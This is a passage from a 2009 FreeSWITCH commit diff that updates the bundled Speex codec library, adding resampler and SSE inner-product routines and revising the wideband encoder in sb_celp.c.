+   ALLOC(ystack, ylen, spx_word16_t);
+#else
+   const unsigned int ylen = FIXED_STACK_ALLOC;
+   spx_word16_t ystack[FIXED_STACK_ALLOC];
+#endif
+
+   st->out_stride = 1;
+   
+   while (ilen && olen) {
+     spx_word16_t *y = ystack;
+     spx_uint32_t ichunk = (ilen > xlen) ? xlen : ilen;
+     spx_uint32_t ochunk = (olen > ylen) ? ylen : olen;
+     spx_uint32_t omagic = 0;
+
+     if (st->magic_samples[channel_index]) {
+       omagic = speex_resampler_magic(st, channel_index, &y, ochunk);
+       ochunk -= omagic;
+       olen -= omagic;
+     }
+     if (! st->magic_samples[channel_index]) {
+       if (in) {
+         for(j=0;j<ichunk;++j)
+#ifdef FIXED_POINT
+           x[j+st->filt_len-1]=WORD2INT(in[j*istride_save]);
+#else
+           x[j+st->filt_len-1]=in[j*istride_save];
+#endif
+       } else {
+         for(j=0;j<ichunk;++j)
+           x[j+st->filt_len-1]=0;
+       }
+
+       speex_resampler_process_native(st, channel_index, &ichunk, y, &ochunk);
+     } else {
+       ichunk = 0;
+       ochunk = 0;
+     }
+
+     for (j=0;j<ochunk+omagic;++j)
+#ifdef FIXED_POINT
+        out[j*ostride_save] = ystack[j];
+#else
+        out[j*ostride_save] = WORD2INT(ystack[j]);
+#endif
+     
+     ilen -= ichunk;
+     olen -= ochunk;
+     out += (ochunk+omagic) * ostride_save;
+     if (in)
+       in += ichunk * istride_save;
+   }
+   st->out_stride = ostride_save;
+   *in_len -= ilen;
+   *out_len -= olen;
+
+   return RESAMPLER_ERR_SUCCESS;
+}
+
+EXPORT int speex_resampler_process_interleaved_float(SpeexResamplerState *st, const float *in, spx_uint32_t *in_len, float *out, spx_uint32_t *out_len)
+{
+   spx_uint32_t i;
+   int istride_save, ostride_save;
+   spx_uint32_t bak_len = *out_len;
+   istride_save = st->in_stride;
+   ostride_save = st->out_stride;
+   st->in_stride = st->out_stride = st->nb_channels;
+   for (i=0;i<st->nb_channels;i++)
+   {
+      *out_len = bak_len;
+      if (in != NULL)
+         speex_resampler_process_float(st, i, in+i, in_len, out+i, out_len);
+      else
+         speex_resampler_process_float(st, i, NULL, in_len, out+i, out_len);
+   }
+   st->in_stride = istride_save;
+   st->out_stride = ostride_save;
+   return RESAMPLER_ERR_SUCCESS;
+}
+               
+EXPORT int speex_resampler_process_interleaved_int(SpeexResamplerState *st, const spx_int16_t *in, spx_uint32_t *in_len, spx_int16_t *out, spx_uint32_t *out_len)
+{
+   spx_uint32_t i;
+   int istride_save, ostride_save;
+   spx_uint32_t bak_len = *out_len;
+   istride_save = st->in_stride;
+   ostride_save = st->out_stride;
+   st->in_stride = st->out_stride = st->nb_channels;
+   for (i=0;i<st->nb_channels;i++)
+   {
+      *out_len = bak_len;
+      if (in != NULL)
+         speex_resampler_process_int(st, i, in+i, in_len, out+i, out_len);
+      else
+         speex_resampler_process_int(st, i, NULL, in_len, out+i, out_len);
+   }
+   st->in_stride = istride_save;
+   st->out_stride = ostride_save;
+   return RESAMPLER_ERR_SUCCESS;
+}
+
+EXPORT int speex_resampler_set_rate(SpeexResamplerState *st, spx_uint32_t in_rate, spx_uint32_t out_rate)
+{
+   return speex_resampler_set_rate_frac(st, in_rate, out_rate, in_rate, out_rate);
+}
+
+EXPORT void speex_resampler_get_rate(SpeexResamplerState *st, spx_uint32_t *in_rate, spx_uint32_t *out_rate)
+{
+   *in_rate = st->in_rate;
+   *out_rate = st->out_rate;
+}
+
+EXPORT int speex_resampler_set_rate_frac(SpeexResamplerState *st, spx_uint32_t ratio_num, spx_uint32_t ratio_den, spx_uint32_t in_rate, spx_uint32_t out_rate)
+{
+   spx_uint32_t fact;
+   spx_uint32_t old_den;
+   spx_uint32_t i;
+   if (st->in_rate == in_rate && st->out_rate == out_rate && st->num_rate == ratio_num && st->den_rate == ratio_den)
+      return RESAMPLER_ERR_SUCCESS;
+   
+   old_den = st->den_rate;
+   st->in_rate = in_rate;
+   st->out_rate = out_rate;
+   st->num_rate = ratio_num;
+   st->den_rate = ratio_den;
+   /* FIXME: This is terribly inefficient, but who cares (at least for now)? */
+   for (fact=2;fact<=IMIN(st->num_rate, st->den_rate);fact++)
+   {
+      while ((st->num_rate % fact == 0) && (st->den_rate % fact == 0))
+      {
+         st->num_rate /= fact;
+         st->den_rate /= fact;
+      }
+   }
+      
+   if (old_den > 0)
+   {
+      for (i=0;i<st->nb_channels;i++)
+      {
+         st->samp_frac_num[i]=st->samp_frac_num[i]*st->den_rate/old_den;
+         /* Safety net */
+         if (st->samp_frac_num[i] >= st->den_rate)
+            st->samp_frac_num[i] = st->den_rate-1;
+      }
+   }
+   
+   if (st->initialised)
+      update_filter(st);
+   return RESAMPLER_ERR_SUCCESS;
+}
+
+EXPORT void speex_resampler_get_ratio(SpeexResamplerState *st, spx_uint32_t *ratio_num, spx_uint32_t *ratio_den)
+{
+   *ratio_num = st->num_rate;
+   *ratio_den = st->den_rate;
+}
+
+EXPORT int speex_resampler_set_quality(SpeexResamplerState *st, int quality)
+{
+   if (quality > 10 || quality < 0)
+      return RESAMPLER_ERR_INVALID_ARG;
+   if (st->quality == quality)
+      return RESAMPLER_ERR_SUCCESS;
+   st->quality = quality;
+   if (st->initialised)
+      update_filter(st);
+   return RESAMPLER_ERR_SUCCESS;
+}
+
+EXPORT void speex_resampler_get_quality(SpeexResamplerState *st, int *quality)
+{
+   *quality = st->quality;
+}
+
+EXPORT void speex_resampler_set_input_stride(SpeexResamplerState *st, spx_uint32_t stride)
+{
+   st->in_stride = stride;
+}
+
+EXPORT void speex_resampler_get_input_stride(SpeexResamplerState *st, spx_uint32_t *stride)
+{
+   *stride = st->in_stride;
+}
+
+EXPORT void speex_resampler_set_output_stride(SpeexResamplerState *st, spx_uint32_t stride)
+{
+   st->out_stride = stride;
+}
+
+EXPORT void speex_resampler_get_output_stride(SpeexResamplerState *st, spx_uint32_t *stride)
+{
+   *stride = st->out_stride;
+}
+
+EXPORT int speex_resampler_get_input_latency(SpeexResamplerState *st)
+{
+  return st->filt_len / 2;
+}
+
+EXPORT int speex_resampler_get_output_latency(SpeexResamplerState *st)
+{
+  return ((st->filt_len / 2) * st->den_rate + (st->num_rate >> 1)) / st->num_rate;
+}
+
+EXPORT int speex_resampler_skip_zeros(SpeexResamplerState *st)
+{
+   spx_uint32_t i;
+   for (i=0;i<st->nb_channels;i++)
+      st->last_sample[i] = st->filt_len/2;
+   return RESAMPLER_ERR_SUCCESS;
+}
+
+EXPORT int speex_resampler_reset_mem(SpeexResamplerState *st)
+{
+   spx_uint32_t i;
+   for (i=0;i<st->nb_channels*(st->filt_len-1);i++)
+      st->mem[i] = 0;
+   return RESAMPLER_ERR_SUCCESS;
+}
+
+EXPORT const char *speex_resampler_strerror(int err)
+{
+   switch (err)
+   {
+      case RESAMPLER_ERR_SUCCESS:
+         return "Success.";
+      case RESAMPLER_ERR_ALLOC_FAILED:
+         return "Memory allocation failed.";
+      case RESAMPLER_ERR_BAD_STATE:
+         return "Bad resampler state.";
+      case RESAMPLER_ERR_INVALID_ARG:
+         return "Invalid argument.";
+      case RESAMPLER_ERR_PTR_OVERLAP:
+         return "Input and output buffers overlap.";
+      default:
+         return "Unknown error. Bad error code or strange version mismatch.";
+   }
+}

Copied: freeswitch/branches/seven/libs/speex/libspeex/resample_sse.h (from rev 14471, freeswitch/trunk/libs/speex/libspeex/resample_sse.h) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/resample_sse.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/libspeex/resample_sse.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,128 @@
+/* Copyright (C) 2007-2008 Jean-Marc Valin
+ * Copyright (C) 2008 Thorvald Natvig
+ */
+/**
+   @file resample_sse.h
+   @brief Resampler functions (SSE version)
+*/
+/*
+   Redistribution and use in source and binary forms, with or without
+   modification, are permitted provided that the following conditions
+   are met:
+   
+   - Redistributions of source code must retain the above copyright
+   notice, this list of conditions and the following disclaimer.
+   
+   - Redistributions in binary form must reproduce the above copyright
+   notice, this list of conditions and the following disclaimer in the
+   documentation and/or other materials provided with the distribution.
+   
+   - Neither the name of the Xiph.org Foundation nor the names of its
+   contributors may be used to endorse or promote products derived from
+   this software without specific prior written permission.
+   
+   THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+   ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+   LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+   A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE FOUNDATION OR
+   CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+   EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+   PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+   PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+   LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+   NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+   SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+
+#include <xmmintrin.h>
+
+#define OVERRIDE_INNER_PRODUCT_SINGLE
+static inline float inner_product_single(const float *a, const float *b, unsigned int len)
+{
+   int i;
+   float ret;
+   __m128 sum = _mm_setzero_ps();
+   for (i=0;i<len;i+=8)
+   {
+      sum = _mm_add_ps(sum, _mm_mul_ps(_mm_loadu_ps(a+i), _mm_loadu_ps(b+i)));
+      sum = _mm_add_ps(sum, _mm_mul_ps(_mm_loadu_ps(a+i+4), _mm_loadu_ps(b+i+4)));
+   }
+   sum = _mm_add_ps(sum, _mm_movehl_ps(sum, sum));
+   sum = _mm_add_ss(sum, _mm_shuffle_ps(sum, sum, 0x55));
+   _mm_store_ss(&ret, sum);
+   return ret;
+}
+
+#define OVERRIDE_INTERPOLATE_PRODUCT_SINGLE
+static inline float interpolate_product_single(const float *a, const float *b, unsigned int len, const spx_uint32_t oversample, float *frac) {
+  int i;
+  float ret;
+  __m128 sum = _mm_setzero_ps();
+  __m128 f = _mm_loadu_ps(frac);
+  for(i=0;i<len;i+=2)
+  {
+    sum = _mm_add_ps(sum, _mm_mul_ps(_mm_load1_ps(a+i), _mm_loadu_ps(b+i*oversample)));
+    sum = _mm_add_ps(sum, _mm_mul_ps(_mm_load1_ps(a+i+1), _mm_loadu_ps(b+(i+1)*oversample)));
+  }
+   sum = _mm_mul_ps(f, sum);
+   sum = _mm_add_ps(sum, _mm_movehl_ps(sum, sum));
+   sum = _mm_add_ss(sum, _mm_shuffle_ps(sum, sum, 0x55));
+   _mm_store_ss(&ret, sum);
+   return ret;
+}
+
+#ifdef _USE_SSE2
+#include <emmintrin.h>
+#define OVERRIDE_INNER_PRODUCT_DOUBLE
+
+static inline double inner_product_double(const float *a, const float *b, unsigned int len)
+{
+   int i;
+   double ret;
+   __m128d sum = _mm_setzero_pd();
+   __m128 t;
+   for (i=0;i<len;i+=8)
+   {
+      t = _mm_mul_ps(_mm_loadu_ps(a+i), _mm_loadu_ps(b+i));
+      sum = _mm_add_pd(sum, _mm_cvtps_pd(t));
+      sum = _mm_add_pd(sum, _mm_cvtps_pd(_mm_movehl_ps(t, t)));
+
+      t = _mm_mul_ps(_mm_loadu_ps(a+i+4), _mm_loadu_ps(b+i+4));
+      sum = _mm_add_pd(sum, _mm_cvtps_pd(t));
+      sum = _mm_add_pd(sum, _mm_cvtps_pd(_mm_movehl_ps(t, t)));
+   }
+   sum = _mm_add_sd(sum, (__m128d) _mm_movehl_ps((__m128) sum, (__m128) sum));
+   _mm_store_sd(&ret, sum);
+   return ret;
+}
+
+#define OVERRIDE_INTERPOLATE_PRODUCT_DOUBLE
+static inline double interpolate_product_double(const float *a, const float *b, unsigned int len, const spx_uint32_t oversample, float *frac) {
+  int i;
+  double ret;
+  __m128d sum;
+  __m128d sum1 = _mm_setzero_pd();
+  __m128d sum2 = _mm_setzero_pd();
+  __m128 f = _mm_loadu_ps(frac);
+  __m128d f1 = _mm_cvtps_pd(f);
+  __m128d f2 = _mm_cvtps_pd(_mm_movehl_ps(f,f));
+  __m128 t;
+  for(i=0;i<len;i+=2)
+  {
+    t = _mm_mul_ps(_mm_load1_ps(a+i), _mm_loadu_ps(b+i*oversample));
+    sum1 = _mm_add_pd(sum1, _mm_cvtps_pd(t));
+    sum2 = _mm_add_pd(sum2, _mm_cvtps_pd(_mm_movehl_ps(t, t)));
+
+    t = _mm_mul_ps(_mm_load1_ps(a+i+1), _mm_loadu_ps(b+(i+1)*oversample));
+    sum1 = _mm_add_pd(sum1, _mm_cvtps_pd(t));
+    sum2 = _mm_add_pd(sum2, _mm_cvtps_pd(_mm_movehl_ps(t, t)));
+  }
+  sum1 = _mm_mul_pd(f1, sum1);
+  sum2 = _mm_mul_pd(f2, sum2);
+  sum = _mm_add_pd(sum1, sum2);
+  sum = _mm_add_sd(sum, (__m128d) _mm_movehl_ps((__m128) sum, (__m128) sum));
+  _mm_store_sd(&ret, sum);
+  return ret;
+}
+
+#endif

Modified: freeswitch/branches/seven/libs/speex/libspeex/sb_celp.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/sb_celp.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/sb_celp.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -35,7 +35,6 @@
 
 #include <math.h>
 #include "sb_celp.h"
-#include "stdlib.h"
 #include "filters.h"
 #include "lpc.h"
 #include "lsp.h"
@@ -44,8 +43,14 @@
 #include "quant_lsp.h"
 #include "vq.h"
 #include "ltp.h"
-#include "misc.h"
+#include "arch.h"
+#include "math_approx.h"
+#include "os_support.h"
 
+#ifndef NULL
+#define NULL 0
+#endif
+
 /* Default size for the encoder and decoder stack (can be changed at compile time).
    This does not apply when using variable-size arrays or alloca. */
 #ifndef SB_ENC_STACK
@@ -60,40 +65,40 @@
 #ifdef DISABLE_WIDEBAND
 void *sb_encoder_init(const SpeexMode *m)
 {
-   speex_error("Wideband and Ultra-wideband are disabled");
+   speex_fatal("Wideband and Ultra-wideband are disabled");
    return NULL;
 }
 void sb_encoder_destroy(void *state)
 {
-   speex_error("Wideband and Ultra-wideband are disabled");
+   speex_fatal("Wideband and Ultra-wideband are disabled");
 }
 int sb_encode(void *state, void *vin, SpeexBits *bits)
 {
-   speex_error("Wideband and Ultra-wideband are disabled");
+   speex_fatal("Wideband and Ultra-wideband are disabled");
    return -2;
 }
 void *sb_decoder_init(const SpeexMode *m)
 {
-   speex_error("Wideband and Ultra-wideband are disabled");
+   speex_fatal("Wideband and Ultra-wideband are disabled");
    return NULL;
 }
 void sb_decoder_destroy(void *state)
 {
-   speex_error("Wideband and Ultra-wideband are disabled");
+   speex_fatal("Wideband and Ultra-wideband are disabled");
 }
 int sb_decode(void *state, SpeexBits *bits, void *vout)
 {
-   speex_error("Wideband and Ultra-wideband are disabled");
+   speex_fatal("Wideband and Ultra-wideband are disabled");
    return -2;
 }
 int sb_encoder_ctl(void *state, int request, void *ptr)
 {
-   speex_error("Wideband and Ultra-wideband are disabled");
+   speex_fatal("Wideband and Ultra-wideband are disabled");
    return -2;
 }
 int sb_decoder_ctl(void *state, int request, void *ptr)
 {
-   speex_error("Wideband and Ultra-wideband are disabled");
+   speex_fatal("Wideband and Ultra-wideband are disabled");
    return -2;
 }
 #else
@@ -109,12 +114,26 @@
 
 #ifdef FIXED_POINT
 static const spx_word16_t gc_quant_bound[16] = {125, 164, 215, 282, 370, 484, 635, 832, 1090, 1428, 1871, 2452, 3213, 4210, 5516, 7228};
+static const spx_word16_t fold_quant_bound[32] = {
+   39, 44, 50, 57, 64, 73, 83, 94,
+   106, 120, 136, 154, 175, 198, 225, 255,
+   288, 327, 370, 420, 476, 539, 611, 692,
+   784, 889, 1007, 1141, 1293, 1465, 1660, 1881};
 #define LSP_MARGIN 410
 #define LSP_DELTA1 6553
 #define LSP_DELTA2 1638
 
 #else
 
+static const spx_word16_t gc_quant_bound[16] = {
+      0.97979, 1.28384, 1.68223, 2.20426, 2.88829, 3.78458, 4.95900, 6.49787, 
+      8.51428, 11.15642, 14.61846, 19.15484, 25.09895, 32.88761, 43.09325, 56.46588};
+static const spx_word16_t fold_quant_bound[32] = {
+   0.30498, 0.34559, 0.39161, 0.44375, 0.50283, 0.56979, 0.64565, 0.73162,
+   0.82903, 0.93942, 1.06450, 1.20624, 1.36685, 1.54884, 1.75506, 1.98875,
+   2.25355, 2.55360, 2.89361, 3.27889, 3.71547, 4.21018, 4.77076, 5.40598,
+   6.12577, 6.94141, 7.86565, 8.91295, 10.09969, 11.44445, 12.96826, 14.69497};
+
 #define LSP_MARGIN .05
 #define LSP_DELTA1 .2
 #define LSP_DELTA2 .05
@@ -126,102 +145,47 @@
 #ifdef FIXED_POINT
 static const spx_word16_t h0[64] = {2, -7, -7, 18, 15, -39, -25, 75, 35, -130, -41, 212, 38, -327, -17, 483, -32, -689, 124, 956, -283, -1307, 543, 1780, -973, -2467, 1733, 3633, -3339, -6409, 9059, 30153, 30153, 9059, -6409, -3339, 3633, 1733, -2467, -973, 1780, 543, -1307, -283, 956, 124, -689, -32, 483, -17, -327, 38, 212, -41, -130, 35, 75, -25, -39, 15, 18, -7, -7, 2};
 
-static const spx_word16_t h1[64] = {2, 7, -7, -18, 15, 39, -25, -75, 35, 130, -41, -212, 38, 327, -17, -483, -32, 689, 124, -956, -283, 1307, 543, -1780, -973, 2467, 1733, -3633, -3339, 6409, 9059, -30153, 30153, -9059, -6409, 3339, 3633, -1733, -2467, 973, 1780, -543, -1307, 283, 956, -124, -689, 32, 483, 17, -327, -38, 212, 41, -130, -35, 75, 25, -39, -15, 18, 7, -7, -2};
-
-
 #else
 static const float h0[64] = {
-   3.596189e-05, -0.0001123515,
-   -0.0001104587, 0.0002790277,
-   0.0002298438, -0.0005953563,
-   -0.0003823631, 0.00113826,
-   0.0005308539, -0.001986177,
-   -0.0006243724, 0.003235877,
-   0.0005743159, -0.004989147,
-   -0.0002584767, 0.007367171,
-   -0.0004857935, -0.01050689,
-   0.001894714, 0.01459396,
-   -0.004313674, -0.01994365,
-   0.00828756, 0.02716055,
-   -0.01485397, -0.03764973,
-   0.026447, 0.05543245,
-   -0.05095487, -0.09779096,
-   0.1382363, 0.4600981,
-   0.4600981, 0.1382363,
-   -0.09779096, -0.05095487,
-   0.05543245, 0.026447,
-   -0.03764973, -0.01485397,
-   0.02716055, 0.00828756,
-   -0.01994365, -0.004313674,
-   0.01459396, 0.001894714,
-   -0.01050689, -0.0004857935,
-   0.007367171, -0.0002584767,
-   -0.004989147, 0.0005743159,
-   0.003235877, -0.0006243724,
-   -0.001986177, 0.0005308539,
-   0.00113826, -0.0003823631,
-   -0.0005953563, 0.0002298438,
-   0.0002790277, -0.0001104587,
-   -0.0001123515, 3.596189e-05
+   3.596189e-05f, -0.0001123515f,
+   -0.0001104587f, 0.0002790277f,
+   0.0002298438f, -0.0005953563f,
+   -0.0003823631f, 0.00113826f,
+   0.0005308539f, -0.001986177f,
+   -0.0006243724f, 0.003235877f,
+   0.0005743159f, -0.004989147f,
+   -0.0002584767f, 0.007367171f,
+   -0.0004857935f, -0.01050689f,
+   0.001894714f, 0.01459396f,
+   -0.004313674f, -0.01994365f,
+   0.00828756f, 0.02716055f,
+   -0.01485397f, -0.03764973f,
+   0.026447f, 0.05543245f,
+   -0.05095487f, -0.09779096f,
+   0.1382363f, 0.4600981f,
+   0.4600981f, 0.1382363f,
+   -0.09779096f, -0.05095487f,
+   0.05543245f, 0.026447f,
+   -0.03764973f, -0.01485397f,
+   0.02716055f, 0.00828756f,
+   -0.01994365f, -0.004313674f,
+   0.01459396f, 0.001894714f,
+   -0.01050689f, -0.0004857935f,
+   0.007367171f, -0.0002584767f,
+   -0.004989147f, 0.0005743159f,
+   0.003235877f, -0.0006243724f,
+   -0.001986177f, 0.0005308539f,
+   0.00113826f, -0.0003823631f,
+   -0.0005953563f, 0.0002298438f,
+   0.0002790277f, -0.0001104587f,
+   -0.0001123515f, 3.596189e-05f
 };
 
-static const float h1[64] = {
-   3.596189e-05, 0.0001123515,
-   -0.0001104587, -0.0002790277,
-   0.0002298438, 0.0005953563,
-   -0.0003823631, -0.00113826,
-   0.0005308539, 0.001986177,
-   -0.0006243724, -0.003235877,
-   0.0005743159, 0.004989147,
-   -0.0002584767, -0.007367171,
-   -0.0004857935, 0.01050689,
-   0.001894714, -0.01459396,
-   -0.004313674, 0.01994365,
-   0.00828756, -0.02716055,
-   -0.01485397, 0.03764973,
-   0.026447, -0.05543245,
-   -0.05095487, 0.09779096,
-   0.1382363, -0.4600981,
-   0.4600981, -0.1382363,
-   -0.09779096, 0.05095487,
-   0.05543245, -0.026447,
-   -0.03764973, 0.01485397,
-   0.02716055, -0.00828756,
-   -0.01994365, 0.004313674,
-   0.01459396, -0.001894714,
-   -0.01050689, 0.0004857935,
-   0.007367171, 0.0002584767,
-   -0.004989147, -0.0005743159,
-   0.003235877, 0.0006243724,
-   -0.001986177, -0.0005308539,
-   0.00113826, 0.0003823631,
-   -0.0005953563, -0.0002298438,
-   0.0002790277, 0.0001104587,
-   -0.0001123515, -3.596189e-05
-};
 #endif
 
+extern const spx_word16_t lag_window[];
 extern const spx_word16_t lpc_window[];
 
-static void mix_and_saturate(spx_word32_t *x0, spx_word32_t *x1, spx_word16_t *out, int len)
-{
-   int i;
-   for (i=0;i<len;i++)
-   {
-      spx_word32_t tmp;
-#ifdef FIXED_POINT
-      tmp=PSHR(x0[i]-x1[i],SIG_SHIFT-1);
-#else
-      tmp=2*(x0[i]-x1[i]);
-#endif
-      if (tmp>32767)
-         out[i] = 32767;
-      else if (tmp<-32767)
-         out[i] = -32767;
-      else
-         out[i] = tmp;
-   }
-}
 
 void *sb_encoder_init(const SpeexMode *m)
 {
@@ -233,23 +197,24 @@
    st = (SBEncState*)speex_alloc(sizeof(SBEncState));
    if (!st)
       return NULL;
-#if defined(VAR_ARRAYS) || defined (USE_ALLOCA)
-   st->stack = NULL;
-#else
-   st->stack = (char*)speex_alloc_scratch(SB_ENC_STACK);
-#endif
    st->mode = m;
    mode = (const SpeexSBMode*)m->mode;
 
 
    st->st_low = speex_encoder_init(mode->nb_mode);
+#if defined(VAR_ARRAYS) || defined (USE_ALLOCA)
+   st->stack = NULL;
+#else
+   /*st->stack = (char*)speex_alloc_scratch(SB_ENC_STACK);*/
+   speex_encoder_ctl(st->st_low, SPEEX_GET_STACK, &st->stack);
+#endif
+
    st->full_frame_size = 2*mode->frameSize;
    st->frame_size = mode->frameSize;
    st->subframeSize = mode->subframeSize;
    st->nbSubframes = mode->frameSize/mode->subframeSize;
    st->windowSize = st->frame_size+st->subframeSize;
    st->lpcSize=mode->lpcSize;
-   st->bufSize=mode->bufSize;
 
    st->encode_submode = 1;
    st->submodes=mode->submodes;
@@ -260,55 +225,35 @@
    tmp=1;
    speex_encoder_ctl(st->st_low, SPEEX_SET_WIDEBAND, &tmp);
 
-   st->lag_factor = mode->lag_factor;
    st->lpc_floor = mode->lpc_floor;
    st->gamma1=mode->gamma1;
    st->gamma2=mode->gamma2;
    st->first=1;
 
-   st->x0d=(spx_sig_t*)speex_alloc((st->frame_size)*sizeof(spx_sig_t));
-   st->x1d=(spx_sig_t*)speex_alloc((st->frame_size)*sizeof(spx_sig_t));
-   st->high=(spx_sig_t*)speex_alloc((st->full_frame_size)*sizeof(spx_sig_t));
-   st->y0=(spx_sig_t*)speex_alloc((st->full_frame_size)*sizeof(spx_sig_t));
-   st->y1=(spx_sig_t*)speex_alloc((st->full_frame_size)*sizeof(spx_sig_t));
+   st->high=(spx_word16_t*)speex_alloc((st->windowSize-st->frame_size)*sizeof(spx_word16_t));
 
    st->h0_mem=(spx_word16_t*)speex_alloc((QMF_ORDER)*sizeof(spx_word16_t));
    st->h1_mem=(spx_word16_t*)speex_alloc((QMF_ORDER)*sizeof(spx_word16_t));
-   st->g0_mem=(spx_word32_t*)speex_alloc((QMF_ORDER)*sizeof(spx_word32_t));
-   st->g1_mem=(spx_word32_t*)speex_alloc((QMF_ORDER)*sizeof(spx_word32_t));
 
-   st->excBuf=(spx_sig_t*)speex_alloc((st->bufSize)*sizeof(spx_sig_t));
-   st->exc = st->excBuf + st->bufSize - st->windowSize;
-
-   st->res=(spx_sig_t*)speex_alloc((st->frame_size)*sizeof(spx_sig_t));
-   st->sw=(spx_sig_t*)speex_alloc((st->frame_size)*sizeof(spx_sig_t));
    st->window= lpc_window;
 
-   st->lagWindow = (spx_word16_t*)speex_alloc((st->lpcSize+1)*sizeof(spx_word16_t));
-   for (i=0;i<st->lpcSize+1;i++)
-      st->lagWindow[i]=16384*exp(-.5*sqr(2*M_PI*st->lag_factor*i));
+   st->lagWindow = lag_window;
 
-   st->autocorr = (spx_word16_t*)speex_alloc((st->lpcSize+1)*sizeof(spx_word16_t));
-   st->lpc = (spx_coef_t*)speex_alloc(st->lpcSize*sizeof(spx_coef_t));
-   st->bw_lpc1 = (spx_coef_t*)speex_alloc(st->lpcSize*sizeof(spx_coef_t));
-   st->bw_lpc2 = (spx_coef_t*)speex_alloc(st->lpcSize*sizeof(spx_coef_t));
-   st->lsp = (spx_lsp_t*)speex_alloc(st->lpcSize*sizeof(spx_lsp_t));
-   st->qlsp = (spx_lsp_t*)speex_alloc(st->lpcSize*sizeof(spx_lsp_t));
    st->old_lsp = (spx_lsp_t*)speex_alloc(st->lpcSize*sizeof(spx_lsp_t));
    st->old_qlsp = (spx_lsp_t*)speex_alloc(st->lpcSize*sizeof(spx_lsp_t));
-   st->interp_lsp = (spx_lsp_t*)speex_alloc(st->lpcSize*sizeof(spx_lsp_t));
-   st->interp_qlsp = (spx_lsp_t*)speex_alloc(st->lpcSize*sizeof(spx_lsp_t));
-   st->interp_lpc = (spx_coef_t*)speex_alloc(st->lpcSize*sizeof(spx_coef_t));
    st->interp_qlpc = (spx_coef_t*)speex_alloc(st->lpcSize*sizeof(spx_coef_t));
    st->pi_gain = (spx_word32_t*)speex_alloc((st->nbSubframes)*sizeof(spx_word32_t));
-   st->low_innov = (spx_word32_t*)speex_alloc((st->frame_size)*sizeof(spx_word32_t));
-   speex_encoder_ctl(st->st_low, SPEEX_SET_INNOVATION_SAVE, st->low_innov);
-   st->innov_save = NULL;
+   st->exc_rms = (spx_word16_t*)speex_alloc((st->nbSubframes)*sizeof(spx_word16_t));
+   st->innov_rms_save = NULL;
    
    st->mem_sp = (spx_mem_t*)speex_alloc((st->lpcSize)*sizeof(spx_mem_t));
    st->mem_sp2 = (spx_mem_t*)speex_alloc((st->lpcSize)*sizeof(spx_mem_t));
    st->mem_sw = (spx_mem_t*)speex_alloc((st->lpcSize)*sizeof(spx_mem_t));
 
+   for (i=0;i<st->lpcSize;i++)
+      st->old_lsp[i]= DIV32(MULT16_16(QCONST16(3.1415927f, LSP_SHIFT), i+1), st->lpcSize+1);
+
+#ifndef DISABLE_VBR
    st->vbr_quality = 8;
    st->vbr_enabled = 0;
    st->vbr_max = 0;
@@ -316,6 +261,7 @@
    st->vad_enabled = 0;
    st->abr_enabled = 0;
    st->relative_quality=0;
+#endif /* #ifndef DISABLE_VBR */
 
    st->complexity=2;
    speex_encoder_ctl(st->st_low, SPEEX_GET_SAMPLING_RATE, &st->sampling_rate);
@@ -332,39 +278,19 @@
 
    speex_encoder_destroy(st->st_low);
 #if !(defined(VAR_ARRAYS) || defined (USE_ALLOCA))
-   speex_free_scratch(st->stack);
+   /*speex_free_scratch(st->stack);*/
 #endif
 
-   speex_free(st->x0d);
-   speex_free(st->x1d);
    speex_free(st->high);
-   speex_free(st->y0);
-   speex_free(st->y1);
 
    speex_free(st->h0_mem);
    speex_free(st->h1_mem);
-   speex_free(st->g0_mem);
-   speex_free(st->g1_mem);
 
-   speex_free(st->excBuf);
-   speex_free(st->res);
-   speex_free(st->sw);
-   speex_free(st->lagWindow);
-
-   speex_free(st->autocorr);
-   speex_free(st->lpc);
-   speex_free(st->bw_lpc1);
-   speex_free(st->bw_lpc2);
-   speex_free(st->lsp);
-   speex_free(st->qlsp);
    speex_free(st->old_lsp);
    speex_free(st->old_qlsp);
-   speex_free(st->interp_lsp);
-   speex_free(st->interp_qlsp);
-   speex_free(st->interp_lpc);
    speex_free(st->interp_qlpc);
    speex_free(st->pi_gain);
-   speex_free(st->low_innov);
+   speex_free(st->exc_rms);
 
    speex_free(st->mem_sp);
    speex_free(st->mem_sp2);
@@ -385,44 +311,57 @@
    VARDECL(spx_word16_t *target);
    VARDECL(spx_word16_t *syn_resp);
    VARDECL(spx_word32_t *low_pi_gain);
-   VARDECL(spx_word16_t *low_exc);
+   spx_word16_t *low;
+   spx_word16_t *high;
+   VARDECL(spx_word16_t *low_exc_rms);
+   VARDECL(spx_word16_t *low_innov_rms);
    const SpeexSBMode *mode;
    spx_int32_t dtx;
    spx_word16_t *in = (spx_word16_t*)vin;
-
+   spx_word16_t e_low=0, e_high=0;
+   VARDECL(spx_coef_t *lpc);
+   VARDECL(spx_coef_t *interp_lpc);
+   VARDECL(spx_coef_t *bw_lpc1);
+   VARDECL(spx_coef_t *bw_lpc2);
+   VARDECL(spx_lsp_t *lsp);
+   VARDECL(spx_lsp_t *qlsp);
+   VARDECL(spx_lsp_t *interp_lsp);
+   VARDECL(spx_lsp_t *interp_qlsp);
+      
    st = (SBEncState*)state;
    stack=st->stack;
